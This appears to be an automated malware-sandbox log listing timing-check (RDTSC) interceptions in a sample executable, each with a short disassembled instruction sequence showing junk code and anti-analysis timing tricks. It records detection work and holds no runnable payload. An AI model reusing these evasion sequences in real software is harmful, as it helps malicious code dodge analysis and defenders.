Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2FD9B3 second address: 2FD9B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2FD9B9 second address: 2FD9BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 300270 second address: 300274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 304832 second address: 30483C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30483C second address: 304840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 303D4D second address: 303D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 303D52 second address: 303D8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30829938h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F9B30829936h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 303D8A second address: 303D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 304EAD second address: 304EB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 304EB3 second address: 304ED6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F9B30E293BCh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jc 00007F9B30E293C0h 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 304ED6 second address: 304EE3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 304EE3 second address: 304F02 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F9B30E293BEh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3097C6 second address: 3097CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3097CC second address: 3097D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3097D2 second address: 3097F5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9B30829936h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3097F5 second address: 3097FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3097FB second address: 309800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 308BF9 second address: 308C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 308D7C second address: 308DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F9B3082992Eh 0x0000000b pushad 0x0000000c popad 0x0000000d jnl 00007F9B30829926h 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jo 00007F9B3082993Ah 0x0000001c jmp 00007F9B30829934h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3094E8 second address: 3094EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3094EC second address: 3094F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30AE93 second address: 30AE97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30CD8B second address: 30CD95 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9B30829926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30CE1F second address: 30CE38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9B30E293C2h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30CE38 second address: 30CE57 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 43D84DC3h 0x0000000e add dword ptr [ebp+122D1C6Ah], edx 0x00000014 push A6FE77E1h 0x00000019 push eax 0x0000001a push edx 0x0000001b push ecx 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30D4D7 second address: 30D4DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30D4DB second address: 30D4DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30D91D second address: 30D967 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c nop 0x0000000d jmp 00007F9B30E293C2h 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F9B30E293C5h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30DB51 second address: 30DB55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30FEB6 second address: 30FEBB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30FEBB second address: 30FF40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F9B30829928h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 jmp 00007F9B3082992Eh 0x00000029 push 00000000h 0x0000002b mov esi, dword ptr [ebp+122D3B2Bh] 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push esi 0x00000036 call 00007F9B30829928h 0x0000003b pop esi 0x0000003c mov dword ptr [esp+04h], esi 0x00000040 add dword ptr [esp+04h], 0000001Ah 0x00000048 inc esi 0x00000049 push esi 0x0000004a ret 0x0000004b pop esi 0x0000004c ret 0x0000004d mov edi, dword ptr [ebp+122D2D6Ah] 0x00000053 jnp 00007F9B3082992Bh 0x00000059 xchg eax, ebx 0x0000005a push eax 0x0000005b push edx 0x0000005c jc 00007F9B3082992Ch 0x00000062 js 00007F9B30829926h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30F630 second address: 30F645 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9B30E293C1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30FF40 second address: 30FF63 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9B30829928h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F9B30829933h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30F645 second address: 30F649 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 310AE8 second address: 310B07 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9B30829933h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 310B07 second address: 310BB1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F9B30E293B8h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 clc 0x00000023 jmp 00007F9B30E293C6h 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007F9B30E293B8h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 00000019h 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 pushad 0x00000045 sbb ch, FFFFFFFAh 0x00000048 mov dword ptr [ebp+122D26D4h], eax 0x0000004e popad 0x0000004f mov dword ptr [ebp+122D3AE2h], eax 0x00000055 push 00000000h 0x00000057 jnl 00007F9B30E293BCh 0x0000005d mov esi, dword ptr [ebp+122D2D4Eh] 0x00000063 xchg eax, ebx 0x00000064 jmp 00007F9B30E293C6h 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 310BB1 second address: 310BB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 310BB5 second address: 310BC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 310BC6 second address: 310BCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 312D37 second address: 312D40 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 312D40 second address: 312D96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D26CDh], edx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F9B30829928h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b sbb esi, 1AA96CC4h 0x00000031 pushad 0x00000032 sbb dx, DADCh 0x00000037 mov edi, 76322655h 0x0000003c popad 0x0000003d push 00000000h 0x0000003f push esi 0x00000040 mov dword ptr [ebp+122D26C7h], eax 0x00000046 pop edi 0x00000047 push eax 0x00000048 js 00007F9B30829930h 0x0000004e push eax 0x0000004f push edx 0x00000050 push esi 0x00000051 pop esi 0x00000052 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 313813 second address: 313817 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 314F5F second address: 314F66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 318450 second address: 318479 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F9B30E293BBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F9B30E293C3h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 318479 second address: 3184AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F9B30829934h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F9B30829930h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3184AC second address: 3184B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2C58E0 second address: 2C5900 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9B3082992Eh 0x00000008 pushad 0x00000009 popad 0x0000000a jg 00007F9B30829926h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jg 00007F9B3082992Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2C5900 second address: 2C590B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F9B30E293B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 319BEC second address: 319BF6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9B30829926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 319BF6 second address: 319BFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 319BFC second address: 319C00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 319C00 second address: 319C04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 31BF6F second address: 31BF75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 31DE07 second address: 31DE0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 31EDDA second address: 31EDEB instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9B30829926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 31EDEB second address: 31EDF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 31EDF2 second address: 31EE61 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9B30829928h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F9B30829928h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 mov edi, dword ptr [ebp+12462103h] 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007F9B30829928h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 00000018h 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 and edi, dword ptr [ebp+122D2E8Eh] 0x0000004f xor dword ptr [ebp+1247BB77h], ebx 0x00000055 push 00000000h 0x00000057 jng 00007F9B30829929h 0x0000005d movsx edi, cx 0x00000060 xchg eax, esi 0x00000061 push eax 0x00000062 push edx 0x00000063 push ecx 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 31EE61 second address: 31EE66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 31EE66 second address: 31EE6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 31A2DD second address: 31A2E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 31E037 second address: 31E03C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 31A2E1 second address: 31A307 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9B30E293B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f jmp 00007F9B30E293C6h 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 31B228 second address: 31B22D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 31D171 second address: 31D175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 320E5B second address: 320EE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F9B3082992Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e jmp 00007F9B30829934h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F9B30829928h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f clc 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007F9B30829928h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 0000001Ah 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c mov ebx, dword ptr [ebp+122D21CAh] 0x00000052 xchg eax, esi 0x00000053 pushad 0x00000054 pushad 0x00000055 push esi 0x00000056 pop esi 0x00000057 pushad 0x00000058 popad 0x00000059 popad 0x0000005a push eax 0x0000005b push edx 0x0000005c push ecx 0x0000005d pop ecx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 31B22D second address: 31B252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9B30E293C9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 31E0F3 second address: 31E0F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 31B252 second address: 31B25C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9B30E293B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 31E0F7 second address: 31E105 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F9B30829926h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 322E84 second address: 322E88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 322E88 second address: 322E8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 322E8E second address: 322E98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F9B30E293B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 323F64 second address: 323F83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F9B30829935h 0x00000010 jmp 00007F9B3082992Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 323F83 second address: 323F89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 323F89 second address: 323F8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 323F8D second address: 323F91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 32508B second address: 325104 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9B30829926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov di, 0677h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F9B30829928h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e jmp 00007F9B30829933h 0x00000033 jp 00007F9B3082992Ch 0x00000039 mov dword ptr [ebp+122D38DEh], eax 0x0000003f push 00000000h 0x00000041 mov ebx, dword ptr [ebp+122D1D18h] 0x00000047 xchg eax, esi 0x00000048 jmp 00007F9B3082992Eh 0x0000004d push eax 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 jg 00007F9B30829926h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3270CB second address: 3270D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3270D4 second address: 3270E9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9B30829926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F9B3082992Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
